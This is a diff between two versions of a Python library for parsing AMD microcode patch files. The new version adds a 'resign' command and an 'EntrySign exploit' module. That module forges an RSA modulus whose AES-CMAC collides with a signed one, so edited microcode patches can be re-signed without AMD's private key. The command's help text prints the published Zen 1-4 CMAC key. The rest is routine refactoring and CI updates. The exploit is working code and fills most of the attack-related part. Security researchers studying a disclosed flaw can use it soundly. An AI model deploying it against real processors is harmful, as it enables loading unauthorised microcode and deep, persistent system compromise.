amd-ucode-patch 1.0.1__tar.gz → 1.1.0__tar.gz

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/codeql.yml

@@ -58,7 +58,7 @@ jobs:
 
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL
-      uses: github/codeql-action/init@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4
+      uses: github/codeql-action/init@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
       with:
         languages: ${{ matrix.language }}
         build-mode: ${{ matrix.build-mode }}
@@ -86,6 +86,6 @@ jobs:
         exit 1
 
     - name: Perform CodeQL Analysis
-      uses: github/codeql-action/analyze@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4
+      uses: github/codeql-action/analyze@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
       with:
         category: "/language:${{matrix.language}}"

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/scorecard.yml

@@ -38,6 +38,6 @@ jobs:
           retention-days: 5
 
       - name: Upload to code-scanning
-        uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2
+        uses: github/codeql-action/upload-sarif@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4.37.0
         with:
           sarif_file: results.sarif

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: amd-ucode-patch
-Version: 1.0.1
+Version: 1.1.0
 Summary: A Python library for parsing and interpreting AMD microcode patch files
 Project-URL: Homepage, https://github.com/amd-zenith/amd-ucode-patch
 Project-URL: Repository, https://github.com/amd-zenith/amd-ucode-patch

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/pyproject.toml

@@ -1,5 +1,5 @@
 [build-system]
-requires = ["hatchling==1.30.1", "hatch-vcs==0.5.0"]
+requires = ["hatchling==1.31.0", "hatch-vcs==0.5.0"]
 build-backend = "hatchling.build"
 
 [project]

amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/argtypes.py

@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""
+Argparse ``type=`` converters for hex-encoded key material shared by the
+command line tools. Each raises ``argparse.ArgumentTypeError`` on malformed or
+wrong-length input, which argparse renders as a usage error.
+"""
+
+import argparse
+
+
+def parse_fixed_hex(value: str, nbytes: int, what: str) -> bytes:
+    """
+    Parse ``value`` as hex (an optional ``0x`` prefix is allowed) and require it
+    to decode to exactly ``nbytes`` bytes. ``what`` names the field in error
+    messages.
+    """
+    text = value.strip().lower()
+    if text.startswith("0x"):
+        text = text[2:]
+    try:
+        data = bytes.fromhex(text)
+    except ValueError:
+        raise argparse.ArgumentTypeError(f"{what} must be hexadecimal, got {value!r}")
+    if len(data) != nbytes:
+        raise argparse.ArgumentTypeError(f"{what} must be {nbytes} bytes ({2 * nbytes} hex chars), got {len(data)}")
+    return data
+
+
+def parse_key(value: str) -> bytes:
+    """Parse a 16-byte AES-128 CMAC key from hex."""
+    return parse_fixed_hex(value, 16, "key")
+
+
+def parse_modulus(value: str) -> bytes:
+    """Parse a 256-byte RSA modulus from hex."""
+    return parse_fixed_hex(value, 256, "modulus")
+
+
+def parse_private(value: str) -> bytes:
+    """Parse a 256-byte RSA private exponent from hex."""
+    return parse_fixed_hex(value, 256, "private exponent")
+
+
+def parse_check(value: str) -> bytes:
+    """Parse a 256-byte signature check (Montgomery helper) field from hex."""
+    return parse_fixed_hex(value, 256, "check")

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/cli/info.py

@@ -4,29 +4,18 @@
 A command line tool to print information about AMD uCode patch files.
 '''
 
-import glob
 import argparse
-from pathlib import Path
 from rich import box
 from rich.console import Console
 from rich.table import Table
-from ..banner import BANNER
-from ..parse import ucode_patch_parse
-from ..structures.patch_level import PatchLevelV2
+from amd_ucode_patch.cli.banner import BANNER
+from amd_ucode_patch.cli.paths import expand_paths
+from amd_ucode_patch.parse import ucode_patch_parse
+from amd_ucode_patch.structures.patch_level import PatchLevelV2
 
 COLS = ["File", "Date", "Patch level", "PL Ver", "PL Rev", "Loader ID", "Proc. Rev", "CPUID", "Family", "Family Name", "Model", "Stepping", "Microarch", "Codename", "Signed", "Autorun", "Encrypted", "Body size"]
 
 
-def expand_paths(patterns):
-    for pattern in patterns:
-        matches = sorted(glob.glob(pattern, recursive=True))
-        if not matches:
-            yield Path(pattern)
-            continue
-        for match in matches:
-            yield Path(match)
-
-
 def _row_fields(path, patch):
     patch_level = patch.header.patch_level
     # Advanced (v2 / Zen+) patch level fields are only meaningful when present.

amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/paths.py

@@ -0,0 +1,23 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""Shared path handling for the command line tools."""
+
+import glob
+from pathlib import Path
+from collections.abc import Iterable, Iterator
+
+
+def expand_paths(patterns: Iterable[str]) -> Iterator[Path]:
+    """
+    Expand each glob pattern into the matching paths (sorted, recursive ``**``
+    supported). A pattern with no matches is yielded verbatim as a ``Path`` so the
+    caller can surface a sensible "file not found" error.
+    """
+    for pattern in patterns:
+        matches = sorted(glob.glob(pattern, recursive=True))
+        if not matches:
+            yield Path(pattern)
+            continue
+        for match in matches:
+            yield Path(match)

amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/sign.py

@@ -0,0 +1,153 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+'''
+A command line tool to inspect, verify, sign and resign AMD uCode patches.
+'''
+
+import sys
+import argparse
+from pathlib import Path
+from rich import box
+from rich.console import Console
+from rich.table import Table
+from amd_ucode_patch.cli.banner import BANNER
+from amd_ucode_patch.parse import ucode_patch_parse
+from amd_ucode_patch.utils.cmac import cmac_digest
+from amd_ucode_patch.utils.entrysign import produce_colliding_key
+from amd_ucode_patch.utils.rsa import montgomery_n_prime, sign_pkcs1_v15_payload
+from amd_ucode_patch.cli.paths import expand_paths
+from amd_ucode_patch.cli.argtypes import parse_key, parse_modulus, parse_private
+
+
+COLS = ["File", "Signed", "Digest", "Valid"]
+
+
+def _verify_row(path, key):
+    """Return the four display cells (File, Signed, Digest, Valid) for one patch."""
+    patch = ucode_patch_parse(path)
+    signature = patch.header.signature
+
+    if signature is None:
+        return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]")
+
+    recovered = signature.recover_digest()
+    digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
+
+    if key is None:
+        return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]")
+
+    computed = cmac_digest(patch.body.to_bytes(), key)
+    verdict = recovered is not None and recovered == computed
+    valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
+    return (str(path), "[green]yes[/green]", digest, valid)
+
+
+def verify(args, console):
+    """Process the ``verify`` command: print a signature table for each file."""
+    table = Table(*COLS, box=box.HEAVY_HEAD)
+    for path in expand_paths(args.files):
+        try:
+            row = _verify_row(path, args.key)
+            table.add_row(*row)
+        except Exception as e:
+            console.log(f"Error reading {path}: {e}")
+    console.print(table)
+
+
+def _write_target(src: Path, output: Path | None) -> Path:
+    return output if output is not None else src
+
+
+def _resign_one(
+    path: Path,
+    key: bytes,
+    private: bytes | None,
+    modulus: bytes | None,
+    output: Path | None,
+) -> tuple[Path, str]:
+    patch = ucode_patch_parse(path)
+    signature = patch.header.signature
+    if signature is None:
+        raise ValueError("patch is unsigned (pre-Zen), cannot resign")
+
+    digest = cmac_digest(patch.body.to_bytes(), key)
+    if private is None:
+        target = cmac_digest(signature.modulus, key)
+        new_modulus, new_private = produce_colliding_key(target, cmac_key=key)
+    else:
+        new_modulus = modulus if modulus is not None else signature.modulus
+        new_private = private
+
+    signature.modulus = new_modulus
+    signature.check = montgomery_n_prime(new_modulus)
+    signature.signature = sign_pkcs1_v15_payload(digest, new_modulus, new_private)
+
+    out_path = _write_target(path, output)
+    out_path.write_bytes(patch.to_bytes())
+    return out_path, digest.hex()
+
+
+def resign(args, console) -> int:
+    """
+    Process the ``resign`` command: re-sign edited patches, in place by default.
+    Returns a process exit code (non-zero if any file failed or the arguments
+    were invalid).
+    """
+    if args.output is not None and len(args.files) != 1:
+        console.log("Error: --output is only allowed with a single input file")
+        return 1
+    if args.modulus is not None and args.private is None:
+        console.log("Error: --modulus requires --private")
+        return 1
+
+    exit_code = 0
+    for path in expand_paths(args.files):
+        try:
+            target, digest = _resign_one(
+                path,
+                args.key,
+                args.private,
+                args.modulus,
+                args.output,
+            )
+            console.print(f"[green]resigned[/green] {target} digest={digest}")
+        except Exception as e:
+            console.log(f"Error resigning {path}: {e}")
+            exit_code = 1
+    return exit_code
+
+
+def main():
+    console = Console()
+    console.print(BANNER, highlight=False)
+
+    parser = argparse.ArgumentParser(
+        description="Inspect, verify, sign and resign AMD microcode patch signatures.",
+        epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
+    )
+
+    subparsers = parser.add_subparsers(dest="command")
+
+    verify_parser = subparsers.add_parser("verify", help="Inspect signatures and verify with -k when provided")
+    verify_parser.add_argument("files", nargs="+", help="Patch files to inspect")
+    verify_parser.add_argument("-k", "--key", type=parse_key, default=None, help="AES-128 CMAC key as hex (32 hex chars); enables verification")
+
+    resign_parser = subparsers.add_parser("resign", help="Re-sign edited patches in-place (zentool-style)")
+    resign_parser.add_argument("files", nargs="+", help="Patch files to resign")
+    resign_parser.add_argument("-k", "--key", type=parse_key, required=True, help="AES-128 CMAC key as hex (default: published Zen 1-4 key)")
+    resign_parser.add_argument("-d", "--private", type=parse_private, default=None, help="RSA private exponent as 512 hex chars (256 bytes). Optional.")
+    resign_parser.add_argument("-m", "--modulus", type=parse_modulus, default=None, help="RSA modulus as 512 hex chars (256 bytes). Used with --private.")
+    resign_parser.add_argument("-o", "--output", type=Path, default=None, help="Output file (single-input only). Defaults to in-place rewrite")
+
+    args = parser.parse_args()
+
+    if args.command == "verify":
+        verify(args, console)
+    elif args.command == "resign":
+        sys.exit(resign(args, console))
+    else:
+        console.log(f"Error: unknown command {args.command!r}")
+
+
+if __name__ == "__main__":
+    main()

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/naming.py

@@ -5,12 +5,14 @@ from .structures.patch import Patch
 
 def ucode_patch_name(patch: Patch, enc_override=None) -> str:
     # Format should be:
-    # family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>.bin
+    # family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>_sha<hash12>.bin
     # The _enc<ee> suffix is only present when a verified header exists.
     cpuid = patch.header.cpuid
     name = f"family{cpuid.family:02x}_cpuid{cpuid.cpuid_signature:08X}_rev{patch.header.patch_level}_date{patch.header.date.year:04}{patch.header.date.month:02}{patch.header.date.day:02}"
     if patch.body.verified_header is not None:
         enc = patch.body.verified_header.encrypted if enc_override is None else enc_override
         name += f"_enc{enc:02}"
+    hash12 = patch.sha256_hex()[:12]
+    name += f"_sha{hash12}"
     name += ".bin"
     return name

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch.py

@@ -1,6 +1,7 @@
 #!/usr/bin/env python
 # SPDX-License-Identifier: GPL-2.0-or-later
 
+import hashlib
 from dataclasses import dataclass
 from .patch_header import PatchHeader
 from .body import Body
@@ -20,6 +21,11 @@ class Patch:
         body = Body.from_bytes(buf[header.size:], family=header.cpuid.family)
         return Patch(header=header, body=body)
 
+    def to_bytes(self) -> bytes:
+        """The whole patch encoding: the header (with signature block, if any)
+        followed by the signed body."""
+        return self.header.to_bytes() + self.body.to_bytes()
+
     def signature_verifies(self, cmac_key: bytes) -> bool | None:
         """
         Whether the patch signature verifies against its embedded public key,
@@ -34,3 +40,11 @@ class Patch:
         if self.header.signature is None:
             return None
         return self.header.signature.verify(self.body.to_bytes(), cmac_key)
+
+    def sha256(self) -> bytes:
+        """SHA-256 digest of the whole patch (header + body)."""
+        return hashlib.sha256(self.to_bytes()).digest()
+
+    def sha256_hex(self) -> str:
+        """SHA-256 digest of the whole patch (header + body) as a hex string."""
+        return hashlib.sha256(self.to_bytes()).hexdigest()

{amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/signature.py

@@ -4,7 +4,8 @@
 from dataclasses import dataclass
 from Crypto.Cipher import AES
 from Crypto.Hash import CMAC
-from amd_ucode_patch.utils.rsa import digest_recover, pkcs1_v15_verify
+from amd_ucode_patch.utils.cmac import cmac_digest
+from amd_ucode_patch.utils.rsa import recover_pkcs1_v15_payload, verify_pkcs1_v15_payload
 
 
 @dataclass
@@ -52,7 +53,7 @@ class Signature:
         ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
         corrupt signature or wrong modulus).
         """
-        return digest_recover(self.signature, self.modulus)
+        return recover_pkcs1_v15_payload(self.signature, self.modulus)
 
     def verify(self, signed_region: bytes, cmac_key: bytes) -> bool:
         """
@@ -64,5 +65,5 @@ class Signature:
         key, so Zen 5 patches will not verify unless the right ``cmac_key`` is
         supplied.
         """
-        digest = CMAC.new(cmac_key, msg=signed_region, ciphermod=AES).digest()
-        return pkcs1_v15_verify(self.signature, self.modulus, digest)
+        digest = cmac_digest(signed_region, cmac_key)
+        return verify_pkcs1_v15_payload(self.signature, self.modulus, digest)

amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/cmac.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""AES-CMAC helpers shared by signature tooling."""
+
+from Crypto.Cipher import AES
+from Crypto.Hash import CMAC
+
+#: AES block size in bytes; also the AES-CMAC block size.
+AES_BLOCK_SIZE = 16
+
+
+def cmac_digest(message: bytes, key: bytes) -> bytes:
+    """Return AES-128-CMAC over ``message`` using ``key``."""
+    return CMAC.new(key, msg=message, ciphermod=AES).digest()
+
+
+def gf128_double(block: bytes) -> bytes:
+    """
+    Double a 16-byte block in GF(2^128): a left shift by one bit, reduced modulo
+    the CMAC polynomial (XOR ``0x87``) when the top bit overflows. This is the
+    ``dbl`` operation from RFC 4493 used to derive the AES-CMAC subkeys K1 and K2.
+    """
+    out = bytearray(block)
+    carry = out[0] >> 7
+    for i in range(15):
+        out[i] = ((out[i] << 1) & 0xFF) | (out[i + 1] >> 7)
+    out[15] = ((out[15] << 1) & 0xFF) ^ (0x87 if carry else 0)
+    return bytes(out)
+
+
+def cmac_subkeys(key: bytes) -> tuple[bytes, bytes]:
+    """
+    Derive the AES-CMAC subkeys ``(K1, K2)`` from ``key`` per RFC 4493:
+    ``L = AES_key(0^128)``, ``K1 = dbl(L)``, ``K2 = dbl(K1)``.
+    """
+    aes = AES.new(key, AES.MODE_ECB)
+    subkey1 = gf128_double(aes.encrypt(b"\x00" * AES_BLOCK_SIZE))
+    subkey2 = gf128_double(subkey1)
+    return subkey1, subkey2

amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/entrysign.py

@@ -0,0 +1,133 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""
+EntrySign exploit: forge an RSA modulus that collides to a chosen AES-CMAC,
+enabling patch resigning without the private key.
+"""
+
+from Crypto.Cipher import AES
+from Crypto.Util.number import isPrime
+from amd_ucode_patch.utils.rsa import RSA_EXPONENT_F4
+from amd_ucode_patch.utils.cmac import AES_BLOCK_SIZE, cmac_digest, cmac_subkeys
+from amd_ucode_patch.utils.numtheory import prime_table
+from amd_ucode_patch.utils.xor import xor_bytes
+
+
+def _find_cmac_preimage(
+    target_cmac: bytes,
+    preimage: bytearray,
+    sacrifice_index: int,
+    cmac_key: bytes,
+) -> None:
+    """
+    Rewrite the 16-byte block of ``preimage`` at ``sacrifice_index`` in place so
+    that ``AES-CMAC(cmac_key, preimage) == target_cmac``, leaving every other
+    block untouched.
+
+    Works by unrolling the CBC-MAC chain: the CMAC state is walked forward from
+    the start up to the sacrifice block and backward from ``target_cmac`` (undoing
+    the final subkey XOR) down to it, so the one unknown block is the value that
+    joins the two halves. ``sacrifice_index`` must be a multiple of 16. Raises
+    ``ValueError`` if the resulting CMAC does not match ``target_cmac``.
+    """
+    bs = AES_BLOCK_SIZE
+    if sacrifice_index % bs:
+        raise ValueError("sacrifice index must be a multiple of 16")
+
+    aes = AES.new(cmac_key, AES.MODE_ECB)
+    subkey1, subkey2 = cmac_subkeys(cmac_key)
+
+    nbytes = len(preimage)
+    padded_len = ((nbytes + bs - 1) // bs) * bs
+    padded = bytearray(padded_len)
+    padded[:nbytes] = preimage
+
+    if nbytes % bs == 0:
+        tail = padded_len - bs
+        padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
+    else:
+        padded[nbytes] = 0x80
+        tail = padded_len - bs
+        padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
+
+    padded[sacrifice_index:sacrifice_index + bs] = b"\x00" * bs
+
+    out_forward = b"\x00" * bs
+    for i in range(sacrifice_index // bs):
+        block = bytes(padded[i * bs:(i + 1) * bs])
+        out_forward = aes.encrypt(xor_bytes(out_forward, block))
+
+    inp = bytes(target_cmac)
+    for i in range((padded_len // bs) - 1, (sacrifice_index // bs) - 1, -1):
+        out_backward = aes.decrypt(inp)
+        block = bytes(padded[i * bs:(i + 1) * bs])
+        inp = xor_bytes(out_backward, block)
+
+    padded[sacrifice_index:sacrifice_index + bs] = xor_bytes(out_forward, inp)
+
+    if nbytes % bs == 0:
+        tail = padded_len - bs
+        padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
+    else:
+        tail = padded_len - bs
+        padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
+
+    result = cmac_digest(bytes(padded[:nbytes]), cmac_key)
+    if result != target_cmac:
+        raise ValueError("failed to compute a matching CMAC preimage")
+
+    preimage[sacrifice_index:sacrifice_index + bs] = padded[sacrifice_index:sacrifice_index + bs]
+
+
+def produce_colliding_key(
+    target_cmac: bytes,
+    cmac_key: bytes,
+    bits: int = 2048,
+    exponent: int = RSA_EXPONENT_F4,
+) -> tuple[bytes, bytes]:
+    """
+    Generate an RSA keypair whose modulus collides to a chosen CMAC, i.e.
+    ``AES-CMAC(cmac_key, modulus) == target_cmac``. Mirrors zentool's
+    factor/resign strategy used for the EntrySign exploit.
+
+    Starting from a ``bits``-wide candidate, it repeatedly forces the CMAC to
+    ``target_cmac`` (via :func:`_find_cmac_preimage`), then keeps the modulus only
+    when it factors into small primes plus one large prime -- enough to compute
+    the private exponent ``d`` for the public ``exponent``. Returns
+    ``(modulus, private_exponent)`` as big-endian ``bits // 8``-byte strings, or
+    raises ``ValueError`` if no suitable modulus is found within the attempt budget.
+    """
+    size = bits // 8
+    key = bytearray(size)
+    key[0] = 0x80
+    key[-1] = 0x01
+
+    primes = prime_table()
+    for _ in range(5 * bits):
+        _find_cmac_preimage(target_cmac, key, sacrifice_index=16, cmac_key=cmac_key)
+
+        n = int.from_bytes(key, "big")
+        left = n
+        totient = 1
+        for p in primes:
+            if left % p != 0:
+                continue
+            first = True
+            while left % p == 0:
+                left //= p
+                totient *= (p - 1) if first else p
+                first = False
+
+        if left > 1 and isPrime(left):
+            totient *= (left - 1)
+            if totient % exponent != 0:
+                d = pow(exponent, -1, totient)
+                return n.to_bytes(size, "big"), d.to_bytes(size, "big")
+
+        nxt = (int.from_bytes(key, "big") + 2) % (1 << bits)
+        key[:] = nxt.to_bytes(size, "big")
+        key[0] |= 0x80
+        key[-1] |= 0x01
+
+    raise ValueError("failed to generate a colliding RSA modulus/private key")

amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/numtheory.py

@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""
+General number-theory helpers.
+"""
+
+
+def prime_table(limit: int = 100000) -> list[int]:
+    """
+    Return all primes up to ``limit`` via a sieve of Eratosthenes.
+    """
+    sieve = bytearray(b"\x01") * (limit + 1)
+    sieve[0:2] = b"\x00\x00"
+    for i in range(2, int(limit ** 0.5) + 1):
+        if sieve[i]:
+            start = i * i
+            step = i
+            sieve[start:limit + 1:step] = b"\x00" * (((limit - start) // step) + 1)
+    return [i for i in range(2, limit + 1) if sieve[i]]

amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/rsa.py

@@ -0,0 +1,107 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""
+Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
+"""
+
+RSA_EXPONENT_F4 = 0x10001
+
+
+def pkcs1_v15_pad_type1(payload: bytes, size: int) -> bytes:
+    """
+    Build a PKCS#1 v1.5 type-1 padded block:
+    ``00 01 FF..FF 00 || payload``.
+    """
+    if size < len(payload) + 11:
+        raise ValueError("RSA size too small for PKCS#1 v1.5 padding")
+    ff_len = size - len(payload) - 3
+    return b"\x00\x01" + (b"\xff" * ff_len) + b"\x00" + payload
+
+
+def pkcs1_v15_unpad_type1(block: bytes) -> bytes | None:
+    """
+    Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
+    return the payload, or ``None`` if the padding is malformed.
+    """
+    if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
+        return None
+    i = 2
+    while i < len(block) and block[i] == 0xFF:
+        i += 1
+    if i < 10 or i >= len(block) or block[i] != 0x00:
+        return None
+    return block[i + 1:]
+
+
+def rsa_public_op(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes:
+    """
+    Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
+    big-endian byte string the same width as ``modulus``.
+    """
+    n = int.from_bytes(modulus, "big")
+    s = int.from_bytes(signature, "big")
+    if n == 0 or s >= n:
+        raise ValueError("signature is not a residue modulo the public modulus")
+    m = pow(s, exponent, n)
+    return m.to_bytes(len(modulus), "big")
+
+
+def montgomery_n_prime(modulus: bytes) -> bytes:
+    """
+    Compute the Montgomery constant ``n' = -n^(-1) mod R`` for ``modulus``,
+    where ``R = 2^(8 * len(modulus))``.
+
+    This is the precomputed helper a Montgomery-reduction (REDC) modular
+    exponentiation needs so it can replace division by the modulus with a shift.
+    The modulus must be odd (as any RSA modulus is) for the inverse to exist.
+    Returned big-endian, the same width as ``modulus``.
+    """
+    n = int.from_bytes(modulus, "big")
+    if n == 0 or n % 2 == 0:
+        raise ValueError("modulus must be non-zero and odd")
+    r = 1 << (8 * len(modulus))
+    inv = pow(n, -1, r)
+    return ((-inv) % r).to_bytes(len(modulus), "big")
+
+
+def recover_pkcs1_v15_payload(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes | None:
+    """
+    Recover the digest this signature commits to, using only the embedded
+    public ``modulus`` (no CMAC key required): compute
+    ``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
+
+    Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
+    ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
+    corrupt signature or wrong modulus).
+    """
+    try:
+        block = rsa_public_op(signature, modulus, exponent)
+    except ValueError:
+        return None
+    return pkcs1_v15_unpad_type1(block)
+
+
+def verify_pkcs1_v15_payload(signature: bytes, modulus: bytes, digest: bytes,
+                             exponent: int = RSA_EXPONENT_F4) -> bool:
+    """
+    Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
+    (no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
+    """
+    payload = recover_pkcs1_v15_payload(signature, modulus, exponent)
+    return payload is not None and payload == digest
+
+
+def sign_pkcs1_v15_payload(digest: bytes, modulus: bytes, private: bytes) -> bytes:
+    """
+    Create a PKCS#1 v1.5 signature over a precomputed ``digest`` using
+    textbook RSA private-key operation ``m^d mod n``.
+    """
+    n = int.from_bytes(modulus, "big")
+    d = int.from_bytes(private, "big")
+    m = int.from_bytes(pkcs1_v15_pad_type1(digest, len(modulus)), "big")
+    if n == 0:
+        raise ValueError("modulus cannot be zero")
+    if m >= n:
+        raise ValueError("padded message is not smaller than modulus")
+    return pow(m, d, n).to_bytes(len(modulus), "big")

amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/xor.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""
+Byte-string XOR helpers.
+"""
+
+
+def xor_bytes(a: bytes, b: bytes) -> bytes:
+    """
+    Return the byte-wise XOR of ``a`` and ``b``.
+
+    Both operands must be the same length; a mismatch raises ``ValueError``.
+    Works on any equal-length byte sequences (``bytes``, ``bytearray``,
+    ``memoryview`` slices), not just 16-byte blocks.
+    """
+    if len(a) != len(b):
+        raise ValueError(f"xor operands differ in length: {len(a)} != {len(b)}")
+    return bytes(x ^ y for x, y in zip(a, b))

amd_ucode_patch-1.0.1/src/amd_ucode_patch/cli/sign.py

@@ -1,89 +0,0 @@
-#!/usr/bin/env python
-# SPDX-License-Identifier: GPL-2.0-or-later
-'''
-A command line tool to inspect and verify AMD uCode patch signatures.
-'''
-
-import sys
-import argparse
-from Crypto.Cipher import AES
-from Crypto.Hash import CMAC
-from rich import box
-from rich.console import Console
-from rich.table import Table
-from ..banner import BANNER
-from ..parse import ucode_patch_parse
-from .info import expand_paths
-
-COLS = ["File", "Signed", "Digest", "Valid"]
-
-
-def _parse_key(value: str) -> bytes:
-    text = value.strip().lower()
-    if text.startswith("0x"):
-        text = text[2:]
-    try:
-        key = bytes.fromhex(text)
-    except ValueError:
-        raise argparse.ArgumentTypeError(f"key must be hexadecimal, got {value!r}")
-    if len(key) != 16:
-        raise argparse.ArgumentTypeError(
-            f"key must be 16 bytes (32 hex chars), got {len(key)}"
-        )
-    return key
-
-
-def _row(path, key):
-    """Return (row_cells, verdict) where verdict is True/False (key given) or None."""
-    patch = ucode_patch_parse(path)
-    signature = patch.header.signature
-
-    if signature is None:
-        return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]"), None
-
-    recovered = signature.recover_digest()
-    digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
-
-    if key is None:
-        return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]"), None
-
-    computed = CMAC.new(key, msg=patch.body.to_bytes(), ciphermod=AES).digest()
-    verdict = recovered is not None and recovered == computed
-    valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
-    return (str(path), "[green]yes[/green]", digest, valid), verdict
-
-
-def main():
-    console = Console()
-    console.print(BANNER, highlight=False)
-
-    parser = argparse.ArgumentParser(
-        description="Inspect AMD microcode patch signatures; verify them when a key is provided.",
-        epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
-    )
-    parser.add_argument("files", nargs="+", help="Patch files to inspect")
-    parser.add_argument(
-        "-k", "--key", type=_parse_key, default=None,
-        help="AES-128 CMAC key as hex (32 hex chars); enables signature verification",
-    )
-    args = parser.parse_args()
-
-    table = Table(*COLS, box=box.HEAVY_HEAD)
-    all_ok = True
-    for path in expand_paths(args.files):
-        try:
-            row, verdict = _row(path, args.key)
-            table.add_row(*row)
-            if verdict is False:
-                all_ok = False
-        except Exception as e:
-            console.log(f"Error reading {path}: {e}")
-            all_ok = False
-    console.print(table)
-
-    # Non-zero only when a key was given and a signature failed to verify.
-    sys.exit(0 if all_ok else 1)
-
-
-if __name__ == "__main__":
-    main()

amd_ucode_patch-1.0.1/src/amd_ucode_patch/utils/rsa.py

@@ -1,65 +0,0 @@
-#!/usr/bin/env python
-# SPDX-License-Identifier: GPL-2.0-or-later
-
-"""
-Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
-
-No private-key operations and no external dependencies: verification is just a
-modular exponentiation (``pow``) plus unpadding, which is all that is needed to
-check an AMD microcode patch signature against its embedded public modulus.
-"""
-
-
-def rsa_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes:
-    """
-    Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
-    big-endian byte string the same width as ``modulus``.
-    """
-    n = int.from_bytes(modulus, "big")
-    s = int.from_bytes(signature, "big")
-    if n == 0 or s >= n:
-        raise ValueError("signature is not a residue modulo the public modulus")
-    m = pow(s, exponent, n)
-    return m.to_bytes(len(modulus), "big")
-
-
-def pkcs1_v15_unpad(block: bytes) -> bytes | None:
-    """
-    Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
-    return the payload, or ``None`` if the padding is malformed.
-    """
-    if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
-        return None
-    i = 2
-    while i < len(block) and block[i] == 0xFF:
-        i += 1
-    if i < 10 or i >= len(block) or block[i] != 0x00:
-        return None
-    return block[i + 1:]
-
-
-def digest_recover(signature: bytes, modulus: bytes, exponent: int = 0x10001) -> bytes | None:
-    """
-    Recover the digest this signature commits to, using only the embedded
-    public ``modulus`` (no CMAC key required): compute
-    ``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
-
-    Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
-    ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
-    corrupt signature or wrong modulus).
-    """
-    try:
-        block = rsa_recover(signature, modulus, exponent)
-    except ValueError:
-        return None
-    return pkcs1_v15_unpad(block)
-
-
-def pkcs1_v15_verify(signature: bytes, modulus: bytes, digest: bytes,
-                     exponent: int = 0x10001) -> bool:
-    """
-    Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
